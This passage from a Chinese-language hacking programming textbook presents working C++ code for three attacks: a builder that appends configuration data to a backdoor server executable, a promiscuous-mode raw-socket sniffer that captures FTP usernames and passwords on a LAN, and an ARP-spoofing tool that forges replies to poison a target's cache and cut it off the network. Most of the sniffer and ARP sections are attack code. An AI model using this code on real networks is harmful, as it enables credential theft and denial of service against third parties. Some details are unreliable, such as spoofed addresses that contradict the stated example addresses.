HANDLE hFile=CreateFile("door.exe",GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, NULL);//以只写方式打开后门服务端文件

if(hFile==INVALID_HANDLE_VALUE)

{

:MessageBox(NULL,"打开文件出错","错误",0);

return;

}

if(SetFilePointer(hFile,0,NULL, FILE_END)==-1)//移动文件指针到文件末尾

{

:MessageBox(NULL,"移动文件指针出错","错误",0);

return;

}

DWORD dwWrite;

if(!:WriteFile(hFile,＆mInfo, sizeof(Info),＆dwWrite, NULL))//写入配置信息

{

:MessageBox(NULL,"写入文件出错","错误",0);

return;

}

CloseHandle(hFile);//关闭文件句柄

:MessageBox(NULL,"恭喜你,生成文件成功","生成文件成功",0);

}

不难看出，数据替换法与附加信息法各有其优缺点。数据替换法一般用于要修改的配置信息比较少的情况；而附加信息法一般用于配置信息比较多的情况。

6.3　数据包嗅探

在通常情况下，网络通信的套接字程序只能响应与自己硬件地址相匹配或以广播形式发出的数据帧，对于其他形式的数据帧比如已到达网络接口，但却不是发给此地址的数据帧，网络接口在验证投递地址并非自身地址之后将不引起响应，也即应用程序无法收取与自己无关的数据包。要想实现截获流经网络设备的所有数据包，就要采取一点特别的手段了。

6.3.1　原始套接字基础

到目前为止，接触的只是如图6-29中的用户数据或应用数据部分。为了更好地了解数据包的封装过程，在本节将介绍IP首部、TCP首部和各类数据包的封包、解包及截获等。

原始套接字是允许访问底层协议的一类套接字，即可以对底层的数据包进行操作。利用原始套接字能访问ICMP和ICMP等协议包，能读写内核不处理的IP数据包。在使用原始套接字前，需使用socket函数来创建一个原始套接字。

图　6-29　将数据封装成数据包的过程

下面的代码是将ICMP协议作为一种基层协议完成一个原始套接字创建：

SOCKET s;

s=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

第一个参数"AF_INET"代表TCP/IP协议；第二个参数"SOCK_RAW"表示SOCKET类型是原始套接字；第三个参数是用来指定协议类型，可以取IPPROTO_ICMP、IPPROTO_IGMP、IPPROTO_IP、IPPROTO_UDP以及IPPROTO_RAW。

不难看出，与创建套接字不同之处在于：把第二个参数的套接字类型设置为SOCK_RAW。由于原始套接字使人们对底层传输机制加以控制，所以它经常被黑客使用，从而使Windows中存在一个潜在的安全漏洞。更为严重的是原始套接字可接受流经本地网络层以上的所有数据包。

6.3.2　利用ICMP原始套接字实现ping程序

ICMP是（Internet Control Message Protocol，网际控制报文协议）的简称，从技术角度来说，ICMP就是一个“错误侦测与回报机制”，它能够检测网路的连线状况，也能确保连线的准确性。它是TCP/IP协议集中的一个子协议，属于网络层协议，主要用于在主机与路由器之间传递控制信息，包括报告错误、交换受限控制和状态信息等。

ICMP协议对于网络安全具有极其重要的意义，但ICMP协议本身特点决定了它非常容易被用于攻击网络上的路由器和主机。大家经常使用的ping命令就是通过ICMP协议实现的，在本节将利用原始套接字发送ICMP数据包来实现ping命令。由于要使用原始套接字，则在发送数据包前必须对数据包进行封装。在封装数据包前需了解ICMP报文的具体结构，如图6-30所示。

图　6-30　ICMP报文的结构

从图6-30中可以看出：8位类型段和8位代码段共同决定ICMP报文的类型。而类型字段有15个不同值，还可结合代码字段来描述特定类型的ICMP报文。要实现ping命令，则必须把发送的ICMP数据包类型段和代码段分别设置为8和0。

这样就指向请求的回显功能，即ICMP回显请求报文，目标主机回应数据包的就是ICMP回显应答报文，其类型段和代码段分别为0和0。接着是16位检验和字段，它必须由程序进行计算填写。由于其算法现在已经公开，所以用户不用担心。

在这里需要调用checksum函数来存储检验和。该函数的调用方法如下：

USHORT checksum(USHORT*buff, int size)

{

unsigned long cksum=0;

while(size＞1)

{

cksum+=*buff++;

size-=sizeof(USHORT);

}

if(size)//是奇数

{

cksum+=*(UCHAR*)buff;

}

cksum=(cksum＞＞16)+(cksum＆0xffff);//将32位的chsum高16位和低16位相加,然后取反

cksum+=(cksum＞＞16);

return(USHORT)(～cksum);

}

注意　16位检验和字段的主要作用是检查收到数据包的完整性。先对报文首部每个16位数据进行二进制反码求和（可将整个首部看作由一串16位的字段组成），将其保存在检验和字段中。当收到一个数据包后，同样对其首部中16位数据进行二进制反码求和。由于接收方在计算过程中包含了发送方存在首部的检验和，如果首部在传输过程中没有发生错误，则接收方计算的结果应该为1。

由于ICMP报文结构中的内容是由类型字段和代码字段决定的，在这里已设置为ICMP回显报文。ICMP回显报文的具体结构如图6-31所示。

图　6-31　ICMP回显报文的具体结构

该报文中的标识符和序号的作用是表示一对特定的ICMP回显报文，当发送一个ICMP回显请求报文后，收到的ICMP回显应答报文中的标识符和序号与ICMP回显请求报文中的相同，所以这些字段都被原样返回。该过程用于确定收到的报文是否为该ICMP回显请求报文的应答报文，并且客户端发送的选项数据必须原样返回。

ICMP回显报文的结构如下：

typedef struct icmp_hdr

{

unsigned char icmp_type;//类型

unsigned char icmp_code;//代码

unsigned short icmp_checksum;//校验和

unsigned short icmp_id;//标识符

unsigned short icmp_sequence;//序列号

//下面是选项数据

unsigned long icmp_timestamp;//时间戳

}ICMP_HDR,*PICMP_HDR;

在发送ICMP回显请求报文时，一般使用"icmp_id"参数来保存Ping程序的进程Pid号。由于在ICMP回显应答报文中"icmp_id"会原样返回，所以可利用该参数来确定收到的ICMP回显应答数据包是否是刚发送的数据包的应答报文。要得到进程的Pid可以直接调用GetCurrentProcessId()函数，而且该函数没有参数，调用成功就可以返回进程的Pid。

而参数"icmp_timestamp"的作用是计算ICMP回显请求报文发送到ICMP回显应答报文所经过的时间。其具体计算过程如下：

先在构造ICMP回显请求报文时，调用GetTickCount函数得到系统从开机到现在的运行时间，而且该函数没有参数。如果调用成功则返回系统的运行时间，返回时间可精确到毫秒。在收到ICMP回显应答报文时，再调用GetTickCount函数得到运行时间。最后将两次时间相减就可以得到ICMP回显请求报文发送到ICMP回显应答报文所用的时间。

ICMP回显请求报文的具体构造过程如下：

char buff[sizeof(ICMP_HDR)];

ICMP_HDR*pIcmp=(ICMP_HDR*)buff;

pIcmp-＞icmp_type=8;//类型8

pIcmp-＞icmp_code=0;//代码0

pIcmp-＞icmp_id=(USHORT)GetCurrentProcessId();//标识符为本进程id

pIcmp-＞icmp_checksum=0;//检验和先填充为0

pIcmp-＞icmp_timestamp=GetTickCount();//时间戳为系统运行时间

pIcmp-＞icmp_checksum=checksum((USHORT*)buff, sizeof(ICMP_HDR));//计算检验和

ICMP报文的结构到这里就介绍完了，但通常发送的数据包中不仅只包含一个ICMP报文。整个数据包的基本结构如图6-32所示。

图　6-32　数据包的基本结构

从图6-32中可以看出：除ICMP报文外，发送的数据包中还包含了以太网首部和IP首部两部分。对于原始套接字来说，是没有权限访问以太网首部的，在封装数据包时相应驱动程序会填充以太网首部，所以这部分不用编程。但IP首部是不让驱动程序填充的，这里不使用IP首部。构造ping程序需要经过初始化Winsock属性、构造和发送ICMP回显请求报文、接收ICMP回显请求报文、分析并输出报文等几个步骤，其具体流程如图6-33所示。

图　6-33　构造ping程序的具体流程

注意　虽然在构造发送的数据时程序只需构造ICMP数据包部分，但在程序收到的数据包中是包含IP首部的。

从中可以看出：构造ping程序过程并不复杂。先构造ICMP报文进行发送，再接收数据，最后分析数据包并输出结果即可。

（1）初始化Winsock属性

需要对Winsock进行初始化，包括加载Winsock库、建立原始套接字、填写目标计算机的SOCK_ADDR_IN结构以及设置超时时间等。

这些过程的具体实现代码如下：

WSADATA wsaData;

WORD sockVersion=MAKEWORD(2,2);

if(WSAStartup(sockVersion,＆wsaData)!=0)//加载Winsock库

return 0;

SOCKET sRaw=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);//建立原始套接字

int OutTime=100;//超时时间

setsockopt(sRaw, IPPROTO_IP, IP_TTL,(char*)＆OutTime, sizeof(OutTime));//设置超时

SOCKADDR_IN dest;

dest.sin_family=AF_INET;

dest.sin_port=htons(0);

dest.sin_addr.S_un.S_addr=inet_addr(argv[1]);//填写ping主机地址

（2）构造和发送ICMP回显请求报文

在完成Winsock初始化后，就需要构造ICMP回显报文，该过程在前面已经介绍过。在构建ICMP回显报文后，就可以调用sendto函数发送ICMP回显请求报文。

其具体实现代码如下：

nRet=sendto(sRaw, buff, sizeof(ICMP_HDR),0,(SOCKADDR*)＆dest, sizeof(dest));

//发送ICMP回显请求数据报

if(nRet==SOCKET_ERROR)//发送错误,提示并退出程序

{

printf("sendto failed\n");

return 0;

}

（3）接收ICMP回显请求报文

在发送完成后，就可以调用recvfrom函数来接收ICMP回显请求报文。其实现代码如下：

nRet=recvfrom(sRaw, recvBuf,1024,0,(sockaddr*)＆from,＆nLen);

if(nRet==SOCKET_ERROR)

{

if(WSAGetLastError()==WSAETIMEDOUT)

{

printf("timed out\n");

continue;

}

printf("recvfrom failed\n");

return 0;

}

（4）分析并输出报文

当接收到数据后就可以对收到的数据进行分析，再输出结果。由于收到IP数据包时包含IP首部，而IP首部的大小是20字节。

可以通过一个结构来定义IP首部，该结构的具体内容如下：

typedef struct_IPHeader//20字节的IP头

{

UCHAR iphVerLen;//版本号和头长度(各占4位)

UCHAR ipTOS;//服务类型

USHORT ipLength;//封包总长度,即整个IP报的长度

USHORT ipID;//封包标识,唯一标识发送的每一个数据报

USHORT ipFlags;//标志

UCHAR ipTTL;//生存时间,就是TTL

UCHAR ipProtocol;//协议,可能是TCP、UDP、ICMP等

USHORT ipChecksum;//校验和

ULONG ipSource;//源IP地址

ULONG ipDestination;//目标IP地址

}IPHeader,*PIPHeader;

对数据的分析过程是：先从IP首部中得到8位协议字段，以确定IP首部之后是否是ICMP报文，如果是则继续往下读取；根据ICMP报文中"icmp_id"参数判断此ICMP报文是否与发送的ICMP回显请求报文中的icmp_id相同。如果相同，则输出ping主机的IP地址、收到数据包的大小、从发送数据包到收到数据包所用的时间等信息。

分析并输出报文的具体实现代码如下：

int nTick=GetTickCount();//得到当前系统运行时间

IPHeader*Iphdr=(IPHeader*)recvBuf;//得到IP首部

if(Iphdr-＞ipProtocol!=0x01)//判断其后是否是ICMP报文

{

printf("this is not a icmp packet\n");

return 0;

}

ICMP_HDR*pRecvIcmp=(ICMP_HDR*)(recvBuf+20);//定位到ICMP报文首部

if(pRecvIcmp-＞icmp_id!=GetCurrentProcessId())//判断收到的报文是否和我们发送的报文相对应

{

printf("this is another icmp packet\n");

return 0;

}

printf("Reply from%s:",inet_ntoa(from.sin_addr));//输出ping主机的ip

printf("bytes=%d",nRet);//输出收到的字节数

printf("time=%dms\n",nTick-pRecvIcmp-＞icmp_timestamp);//输出从发送数据报到收到数据报所经历的时间

Sleep(100);

到这里ping程序就设置完成了，其运行结果如图6-34所示。在本地计算机的【命令提示符】窗口中输入"ping 192.168.0.12"命令，即可看到其运行结果，如图6-35所示。不难看出使用ping程序返回的数据与使用ping命令返回的数据是一样的。

图　6-34　ping程序的使用

图　6-35　使用ping命令

注意　无论使用ping程序还是使用ping命令，在运行的结果中可以看出，输出数据有4行，所以需要循环4次输出数据。

6.3.3　基于原始套接字的嗅探技术

由于套接字可以接收流经本地的网络层以及以上的所有数据，所以在建立原始套接字后，只需要对套接字进行监听，就可以嗅探到流经本地的网络以及以上的数据包。

现在很多嗅探工具不仅可嗅探本机数据，还可嗅探整个局域网数据。这里介绍如何通过编程实现嗅探整个局域网中的数据。局域网的连接方式有集线器和交换机两种。前者以集线器（HUB）连接成局域网（以太网），而后者以交换机连接成网络（交换式网络）。

下面是这两种网络的基本特点。

1.集线器（HUB）连接成的局域网

在这种网络中，数据是以广播的形式发送的，所以当局域网中的一台主机向目标主机发送数据后，局域网中每台主机的网卡都会收到此数据包，但网卡内单片程序会对数据包进行分析。该程序会先读取数据包中的以太网头部，在以太网头部中存储有目标主机的MAC地址，如果该地址与本地网卡的MAC地址相同，则表明该数据包已经到达目标主机，此时网卡就会把该数据包传给上一层处理，否则就会丢弃数据包。

广播分为第2层广播和第3层广播两种。第2层广播也称硬件广播，主要用于在局域网内向所有的节点发送数据，通常不会穿过局域网的边界（路由器）。而第3层广播则用于在这个网络内向所有的节点发送数据。广播信息是指以某个广播域所有主机为目的的信息，这些被称为网络广播。

2.交换机连接成的网络

由于以原始套接字为基础的嗅探技术是嗅探不到该种网络中的数据，所以在这里只作简单介绍。在交换机网络环境中，当一台计算机向另一台计算机发送数据包后，该数据包会被交换机发送到指定的网络地址中。

由于流经每台计算机的语句都会被局域网中任意一台主机的网卡接收到，所以判断后，将那些不是发给自己的数据丢弃。但只要将网卡设置成混杂模式，就可以收到所有流经局域网的所有数据。在C++中只需调用ioctlsocket函数即可实现，该函数的具体调用方法如下：

DWORD dwValue=1;

if(ioctlsocket(sRaw, SIO_RCVALL,＆dwValue)!=0)//设置网卡为混杂模式

{

printf("ioctlsocket error\n");

return 0;

}

不难看出：ioctlsocket函数包括三个参数。这三个参数的具体作用如下。

sRaw：该参数指定一个I/O套接字的句柄。

SIO_RCVALL：该参数指定对套接字的操作指令。

＆dwValue：该参数指定命令所带参数的指针。

当网卡被设置成混杂模式后，利用原始套接字接收数据，就可以接收到流经整个网络的全部数据，其实现流程如图6-36所示。

图　6-36　对整个网络的全部数据进行嗅探的实现流程

从图6-36中可以看出嗅探程序的实现过程非常简单。先是原始套接字的一些初始化的操作，建立套接字并绑定到本地的一个IP；把网卡设置成混杂模式以实现接收到流经局域网中的所有数据；最后是一个循环，多次接收和分析数据。嗅探程序主要针对数据包中的用户名和密码进行分析。下面开始编写嗅探FTP密码的程序。如果要实现一个嗅探FTP密码的程序，则必须先了解FTP数据包的结构。其结构如图6-37所示。

图　6-37　FTP数据包的结构

利用原始套接字收到的数据包是没有以太网首部的，在这里不用考虑这部分的数据。下面来了解IP首部的基本结构，如图6-38所示。

图　6-38　IP首部的基本结构

IP首部包含的字段的具体作用如下。

4位版本：指定IP协议的版本号，目前该字段设置为4，所以IP有时也被称为IPv4。

首部长度：首部长度是指首部占32bit字的数目，包含任何选项，是一个4比特字段。

16位总长度：指定整个IP数据包的长度。

8位协议：8位协议指定了下一层报文的协议，FTP数据包中该项为6，表示下一层是TCP报文。

32位源IP地址：该地址指定了数据包发送方的IP地址。

32位目标IP地址：该地址指定了数据包接收方的IP地址。

在VC++6.0中IP首部一般被定义为如下：

typedef struct_IPHeader

{

UCHAR iphVerLen;//版本号和首部长度(各占4位)

UCHAR ipTOS;//8位服务类型

USHORT ipLength;//IP数据报总长度

USHORT ipID;//16位标识

USHORT ipFlags;//3位标志和13位片偏移

UCHAR ipTTL;//8位生存时间

UCHAR ipProtocol;//8位协议,可能是TCP、UDP、ICMP等

USHORT ipChecksum;//16位首部校验和

ULONG ipSource;//32位源IP地址

ULONG ipDestination;//32位目标IP地址

}IPHeader,*PIPHeader;

在了解IP首部的基础上看看TCP首部的基本结构，如图6-39所示。TCP首部中选项的长度一般是20字节。在这里只需了解16位源端口和目标端口号，分别指向客户端和服务端的端口号。在VC++6.0中TCP首部一般被定义为如下：

typedef struct_TCPHeader

{

USHORT sourcePort;//16位源端口号

USHORT destinationPort;//16位目标端口号

ULONG sequenceNumber;//32位序列号

ULONG acknowledgeNumber;//32位确认号

UCHAR dataoffset;//高4位表示数据偏移

UCHAR flags;//6位标志比特

USHORT windows;//16位窗口大小

USHORT checksum;//16位校验和

USHORT urgentPointer;//16位紧急指针

}TCPHeader,*PTCPHeader;

图　6-39　TCP首部的基本结构

最后还需要了解FTP数据包的结构。由于FTP数据包没有一个统一的结构，这里是使用抓包的方式发送带用户名和密码的数据包结构。下面介绍如何通过编程来实现嗅探功能，先加载Winsock库，建立原始套接字，绑定原始套接字到本地的某个IP地址。其实现代码如下：

WSADATA wsaData;

WORD sockVersion=MAKEWORD(2,2);

if(WSAStartup(sockVersion,＆wsaData)!=0)//加载Winsock库

return 0;

SOCKET sRaw=socket(AF_INET, SOCK_RAW, IPPROTO_IP);//创建原始套接字

char szHostName[56];

SOCKADDR_IN addr_in;

struct hostent*pHost;

gethostname(szHostName,56);//得到本机计算机名

if((pHost=gethostbyname((char*)szHostName))==NULL)//通过计算机名得到IP

return 0;

in_addr addr;

sockaddr_in addr_s;

//循环输出IP地址

for(int i=0;i++)

{

char*p=pHost-＞h_addr_list[i];

if(p==NULL)

break;

memcpy(＆addr.S_un.S_addr, p,pHost-＞h_length);

printf("第%d个ip:%s\n",i+1,inet_ntoa(addr));

}

printf("请输入要绑定在哪个IP上:");

int num;

scanf("%d",＆num);//选择要监听的IP地址

if(num＜1||num＞i)

{

printf("输入错误\n");

return 0;

}

//填写sockaddr_in结构

addr_s.sin_family=AF_INET;

addr_s.sin_port=htons(0);

memcpy(＆addr_s.sin_addr.S_un.S_addr, pHost-＞h_addr_list[num-1],pHost-＞h_length);

//绑定套接字到指定IP

if(bind(sRaw,(PSOCKADDR)＆addr_s, sizeof(addr_s))==SOCKET_ERROR)

{

printf("bind error\n");

return 0;

}

注意　由于有的计算机上有两块或两块以上的网卡，必须选择把IP地址绑定在哪块网卡的IP上，用户可以根据自己的情况进行设置。

在进行一系列初始化操作之后，将网卡设置成混杂模式。需要调用recv函数来接收数据包。其实现代码如下：

char buff[1024];

int nRet;

while(TRUE)//循环接收数据

{

nRet=recv(sRaw, buff,1024,0);

if(nRet＞0)

{

GetPassWord(buff);

}

}

在接收到数据包后，需要对数据包进行分析。具体的分析过程如下：

（1）查看IP首部的ipProtocol（8位协议）字段和TCP首部的destinationPort（目标端口号）字段，查看其是否是TCP数据包，而端口号是否是21。

（2）如果是TCP数据包，且端口号是21，则说明是FTP数据包。就可以进一步定位到FTP数据包部分，比较是否存在用户名和密码的特征字符（如USER和pass）。

（3）如果存在这些特征字符，则读出用户名和密码，并输出目标IP地址、用户名和密码等。可以将数据分析的过程封装成一个函数GetPassWord。该函数的具体内容如下：

void GetPassWord(char*buff)

{

char UserName[256];//保存用户名

char PassWord[256];//保存密码

IPHeader*Iphdr=(IPHeader*)buff;//定位到IP首部

TCPHeader*Tcphdr=(TCPHeader*)＆buff[sizeof(IPHeader)];//定位到TCP首部

if(Iphdr-＞ipProtocol!=IPPROTO_TCP||ntohs(Tcphdr-＞destinationPort)!=21)//比较协议是否是TCP协议,目的端口号是否是FTP端口号

return;

char*FtpData=(char*)＆buff[sizeof(IPHeader)+sizeof(TCPHeader)];//定位到FTP报文

if(strnicmp(FtpData,"USER",5)==0)//比较"USER"特征字符

{

sscanf(FtpData+4,"%*[]%s",UserName);//得到用户名

}

if(strnicmp(FtpData,"PASS",5)==0)//比较"PASS"特征字符

{

sscanf(FtpData+4,"%*[]%s",PassWord);//得到密码

printf("目的IP:%s\n",inet_ntoa(*(in_addr*)＆Iphdr-＞ipDestination));//输出目的IP

printf("用户名:%s\n",UserName);//输出用户名

printf("密码:%s\n",PassWord);//输出密码

}

}

在程序设计完成后，在本地计算机【命令提示符】窗口中运行该嗅探程序，就可以列出可以绑定的IP地址，其运行结果如图6-40所示。在其中输入要绑定的IP地址对应的序号即可开始进行探测，如图6-41所示。

图　6-40　嗅探程序的运行结果

图　6-41　开始进行嗅探

6.3.4　利用Packet32实现ARP攻击

虽然原始套接字可发送由程序构造的数据包，还可接收流经本地的网络层及以上的数据包，但还是具有一定的局限性。如不能访问以太网首部、在Windows XP SP2下不能伪造IP首部中的源IP地址、不能发送原始TCP数据包，因此，一些功能是无法利用原始套接字实现的，如ARP攻击、伪造数据包等。

现在很多黑客工具必须安装Wincap后才可以使用，如cain、arpspoof等。这是因为这些工具都是用Wincap开发包编写的，而Wincap又是基于Packet32开发包的，而且Wincap中自带了Packet32，增加了很多错误处理方法。

Packet32是一个驱动级的开发包，它提供的接口都是基于驱动的。所以通过Packet32编写的程序可对链路层的数据包进行操作，其稳定性也比较强。对于广大用户来说，Packet32比较容易上手，因为Packet32提供的函数和API函数在格式上非常相似。

在开始编程之前，先从网上下载Wincap的DDK编程包，其中包含了很多头文件（.h）和连接文件（.lib）。将其复制到"C:\Program Files\Microsoft Visual Studio\VC98\Include"和"C:\Program Files\Microsoft Visual Studio\VC98\Lib"目录下（Visual C++6.0的安装目录），就可以在VC中直接引入这些头文件和连接文件了。

在介绍调用Packet32包中的函数实现ARP攻击之前，需要先了解ARP协议的基本工作原理。ARP协议主要负责将局域网中32位IP地址转换为对应的48位物理地址，即网卡的MAC地址，如IP地址为192.168.0.12，网卡MAC地址为00-1E-8C-FD-B0-85，整个转换过程是一台主机先向目标主机发送包含有IP地址和MAC地址的数据包，通过MAC地址两个主机可实现数据传输。在【命令提示符】窗口中输入"arp-a"命令，如图6-42所示。该命令的作用是查看存储在电脑中的ARP缓存表，它记录了IP地址与MAC地址的对应关系，其中的Dynamic表示临时存储在ARP缓存中的记录，如果超时就会被删除。

图　6-42　查看ARP缓存表

如果源主机想和一台IP为192.168.0.15的目标主机进行通信，本地系统就会去检查ARP缓存表，查找其是否有对应的ARP记录。如有则直接利用ARP缓存中对应的MAC地址传输数据；如没有则向以太网发送ARP请求包询问192.168.0.15对应的MAC地址。此时网络中每台主机都会收到这个请求包，但只有IP地址是192.168.0.15的主机会响应这个请求，将自己的MAC地址发送过来。这样，源主机中的ARP缓存表就会刷新，如图6-43所示。

图　6-43　ARP缓存表刷新

注意　在以太网传输数据包中不是每次通信就发送一次ARP请求而是使用ARP缓存表，这是由ARP缓存表的作用决定的。ARP缓存表的作用是避免浪费大量的带宽，从而造成网络堵塞。

本节将通过Packet32创建一个ARP攻击工具。其原理是：在本地构造一个ARP回应数据包（这是一个伪造的数据包），目的是告诉目标主机，网关MAC地址是主机的地址，此时在目标计算机中的ARP缓存表中就会出现如下信息：

Internet Address Physical Address Type

192.168.0.45 00-1E-8C-17-B0-85 dynamic

其中192.168.0.45是网关地址；而00-1E-8C-17-B0-85是本地主机网卡的MAC地址。在通信过程中目标主机发送给网关的数据就会发送到本地主机的网卡上，此时目标主机就不能上网，这样就能达到攻击的目的。

1.ARP数据包的结构

在了解ARP攻击的基本原理之后，不难得出这样一个结论：只要构造ARP应答数据包并发送给目标主机即可实现攻击的目的。ARP数据包的结构非常简单，是由以太网首部和ARP报文组成的。其基本结构如图6-44所示。

图　6-44　ARP数据包的基本结构

由于在本节发送的数据包是通过Packet32开发包中的函数实现的，而这个开发包又是可以访问链路层的，所以以太网首部不能为空。以太网首部的基本结构如图6-45所示。

图　6-45　以太网首部的基本结构

其中以太网首部中的前两个字段是以太网的目标MAC地址和源MAC地址，目标地址是全为1的特殊地址，则表示广播地址。2字节的以太网帧类型的作用是表示后面数据的类型，对于ARP请求和应答来说，该字段的值是0x0806。

在VC++6.0中以太网首部被定义为：

typedef struct ethdr

{

unsigned char eh_dst[6];//目的MAC地址

unsigned char eh_src[6];//源MAC地址

unsigned short eh_type;//帧类型

}ETHDR,*PETHDR;

而ARP报文结构比较复杂，包括硬件类型、协议类型、硬件地址长度、操作类型等多个字段，其结构如图6-46所示。

图　6-46　ARP报文结构

图6-46中的数字表示对应字段按字节计算的长度，其中各个字段的作用如下。

硬件类型：该字段表示硬件地址的类型，当其值为1时，表示以太网地址。

协议类型：该字段表示要映射的协议地址类型，当其值为0x0800时表示IP地址。

硬件地址长度和协议地址长度：这两个字段长度都是1字节，分别指出了硬件地址和协议地址长度，以字节为单位。对于以太网IP地址的ARP请求和应答，其值分别为6和4。

操作类型：该字段提供了ARP请求（值为1）、ARP应答（值为2）、RARP请求（值为3）以及RARP应答（值为4）等4种操作类型。

发送端的MAC/IP地址和目标MAC/IP地址：这四个字段则显示发送端的硬件地址、发送端的协议地址、目标端的硬件地址、目标端的协议地址等信息。在以太网的数据帧包头中和ARP请求数据帧中都有发送端的硬件地址。

在VC++6.0中ARP报文被定义为如下结构：

typedef struct arphdr

{

unsigned short arp_hdr;//2字节硬件类型

unsigned short arp_pro;//2字节协议类型

unsigned char arp_hln;//1字节硬件地址长度

unsigned char arp_pln;//1字节协议地址长度

unsigned short arp_opt;//2字节操作类型

unsigned char arp_sha[6];//6字节发送端MAC地址

unsigned char arp_spa[4];//4字节发送端IP地址

unsigned char arp_tha[6];//6字节目标MAC地址

unsigned char arp_tpa[4];//4字节目标IP地址

}ARPHDR,*PARPHDR;

2.构造欺骗数据包

在了解ARP数据包的基本结构后，还需要构造欺骗数据包。先来设置以太网首部。在以太网首部中将"eh_dst"参数设置为要攻击的目标MAC地址；将"eh_src"参数设置为本地主机网卡的MAC地址；将"eh_type"参数设置为0x0806。

下面对ARP报文进行设置，需要设置的参数有如下几个。

arp_opt：将操作类型设置为2，表示ARP应答报文。

arp_sha[6]：将发送端的MAC地址设置为本地主机的MAC地址。

arp_spa[4]：将发送端的IP地址设置为网关的IP地址，这是构造ARP攻击数据包的关键。当目标主机收到伪造的ARP数据包时，就会把arp_sha[6]中的MAC地址和arp_spa[4]中的IP地址关联起来。目标主机就会把伪造的MAC地址看作网关的MAC地址，这样，通信数据就会发送到本地主机的网卡上，此时目标主机就无法上网了。

arp_tha[6]和arp_tpa[4]：将这两个参数分别设置为目标主机的MAC地址和IP地址。在设置完以太网首部和ARP报文后，还需要得到本地网卡MAC地址和目标主机网卡的MAC地址。下面介绍如何编程来得到本地网卡的MAC地址，可通过调用函数GetAdaptersInfo来实现该功能。该函数的具体格式如下。

DWORD GetAdaptersInfo(

PIP_ADAPTER_INFO pAdapterInfo,

PULONG pOutBufLen);

其中各个参数的具体含义如下。

pAdapterInfo：该参数指向一个PIP_ADAPTER_INFO结构，该结构包含本地计算机网络适配器的详细信息，如适配器的MAC地址。

pOutBufLen：该参数指向一个PIP_ADAPTER_INFO结构的缓冲区大小，如果大小不够，则此函数返回所需的大小。

如果该函数调用成功，则返回ERROR_SUCCESS，且将网络适配器的详细信息保存在pAdapterInfo参数中，再将得到的本地MAC地址封装成一个函数GetLocMac。

该函数的具体内容如下：

BOOL GetLocMac(unsigned char*macaddr)

{

PIP_ADAPTER_INFO pAdapterInfo=NULL;

ULONG ulLen=0;

GetAdaptersInfo(pAdapterInfo,＆ulLen);//得到要申请的堆栈空间大小

pAdapterInfo=(PIP_ADAPTER_INFO)GlobalAlloc(GPTR, ulLen);//申请所需的堆栈空间

if(GetAdaptersInfo(pAdapterInfo,＆ulLen)==ERROR_SUCCESS)//取得本地适配器的结构信息

{

if(pAdapterInfo!=NULL)

{

memcpy(macaddr, pAdapterInfo-＞Address,6);//得到本地网卡MAC地址

return TRUE;

}

}

return FALSE;

}

在得到本地MAC之后，还需调用SendARP函数来获得目标主机的MAC地址。利用SendARP函数可扫描并获取当前网络上与相应IP地址绑定的网卡MAC物理地址。

该函数的具体格式如下：

DWORD SendARP(

IPAddr DestIP,

IPAddr SrcIP,

PULONG pMacAddr,

PULONG PhyAddrLen);

该函数包含的各个参数的具体含义如下。

DestIP：该参数设置目标主机的IP地址，即想得到其MAC地址主机的IP地址。

SrcIP：设置发送者的IP地址，该参数可以设置为0。

pMacAddr：设置返回目标主机MAC地址的缓冲区。

PhyAddrLen：该参数设置pMacAddr参数所指向缓冲区的大小。

如果调用该函数成功，则返回NO_ERROR，并将目标主机的MAC地址存放在pMacAddr所设置的缓冲区中。这里把得到目标主机的MAC地址代码也封装成一个自定义函数GetDest Mac。该函数的具体内容如下：

BOOL GetDestMac(char*szDestIP, unsigned char*macaddr)

{

u_char arDestMac[6]={0xff,0xff,0xff,0xff,0xff,0xff};//用来保存目标主机MAC地址

ULONG ulLen=6;

if(SendARP(inet_addr(szDestIP),0,(ULONG*)arDestMac,＆ulLen)==NO_ERROR)//得到目标主机MAC地址

{

memcpy(macaddr, arDestMac,6);//把MAC地址输出到参数

return TRUE;

}

return FALSE;

}

在成功得到目标主机的MAC地址后，就可以构造攻击的ARP数据包。其包含的内容如下：

ETHDR eth;

ARPHDR arp;

GetDestMac("192.168.0.45",eth.eh_dst);//目的MAC地址

GetLocMac(eth.eh_src);//源MAC地址

eth.eh_type=htons(0x0806);//帧类型

arp.arp_hdr=htons(0x0001);//硬件类型

arp.arp_pro=htons(0x0800);//协议类型

arp.arp_hln=6;//硬件地址长度

arp.arp_pln=4;//协议地址长度

arp.arp_opt=htons(0x0002);//操作类型

GetLocMac(arp.arp_sha);//发送端MAC地址

//发送端IP地址,设为网关的IP地址

arp.arp_spa[0]=121;

arp.arp_spa[1]=192;

arp.arp_spa[2]=17;

arp.arp_spa[3]=1;

GetDestMac("192.168.0.45",arp.arp_tha);//目标主机MAC地址

//目标主机MAC地址

arp.arp_tpa[0]=121;

arp.arp_tpa[1]=192;

arp.arp_tpa[2]=17;

arp.arp_tpa[3]=41;

char sendbuf[1024]={0};

memcpy(sendbuf,＆eth, sizeof(eth));//把以太网首部和ARP报文都复制到sendbuf中,组成完整的ARP数据包

memcpy(sendbuf+sizeof(eth),＆arp, sizeof(arp));

至此，ARP攻击数据包构造部分就介绍完了，只要将伪造好的ARP数据包发送给目标主机，就可以实现攻击目的了。

3.发送ARP数据包

可以利用Packet32开发包中的函数将已经构造好的ARP数据发送给目标主机，其具体实现流程如图6-47所示。从中可以看出：发送数据包的过程并不复杂，只需按照图中的顺序来调用相应的函数即可实现发送ARP数据包。另外，在发送完毕之后，还需要调用相应的函数释放打开的网卡。下面将详细介绍这些函数的基本格式以及具体调用方法。

图　6-47　发送ARP数据包具体流程

（1）PacketGetAdapterNames。该函数是Packet32开发包自带的一个函数，其作用是获得现有的网络适配器的列表及其对应的信息。其具体格式如下：

BOOLEAN PacketGetAdapterNames(

LPSTR pStr,

PULONG BufferSize)

其中包含的各个参数的作用如下。

pStr：该参数指向保存网络适配器名称的缓冲区。

BufferSize：该参数的作用是设置pStr参数所指向的缓冲区。

该函数的调用方式如下：

if(PacketGetAdapterNames(AdapterName,＆AdapterLength)==FALSE)//得到所有网卡适配器名称

{

printf("PacketGetAdapterNames Error\n");

}

